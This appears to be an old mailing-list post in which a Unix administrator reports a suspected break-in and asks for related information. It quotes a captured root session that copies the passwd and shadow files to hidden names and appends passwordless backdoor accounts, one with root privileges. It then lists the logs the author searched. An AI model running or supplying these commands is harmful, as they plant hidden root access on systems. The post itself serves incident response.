Subtle insinuations may be more than idle threats I'm afraid.

     I assumed he was speaking of a variation of this old thing;
    > # cp /etc/passwd /etc/.tp;
    ^Mcp /etc/shadow /etc/.ts;
    echo "r:x:0:0:User:/:/sbin/sh" >> /etc/passwd;
    echo "re:x:500:1000:daemon:/:/sbin/sh" >> /etc/passwd;
    echo "r::10891::::::" >> /etc/shadow;
    echo "re::6445::::::" >> /etc/shadow;
    : not found
    # ^M: not found
    # ^M: not found
    # ^M: not found

    # who;
    rsides    console     WED Aug 15 2002 21:09
    ^M: not found
    # exit;
    
    
    and after converting the hex saw that it was an exact replica.
    
        To make a long story short, I woke up yesterday to find this in my home
    directory :    
    
    ./MeMe156/agent.agency.08.14.02.2348/added .agent.sol
    
    
    after looking through ;
    /var/adm/messages
    /var/adm/syslog
    
    to no avail, I used what I thought to be a clever script that logs
    auth.notice messages. NOTHING
    
    /var/log/utmp; /var/log/utmpx
    /var/log/wtmp; /var/log/wtmpx
    /var/log/syslog
    
    nothing. But then /var/log/sulog  showed me this;
    SU 03/31 12:52 + pts/0 <userid>-root
     and /var/adm/messages revealed this
    Mar 31 12:48:41 ***.***.***.*** unix: rebooting...
    
    almost convenient that it was there at all. If anyone else has any
    information remotely related please respond.
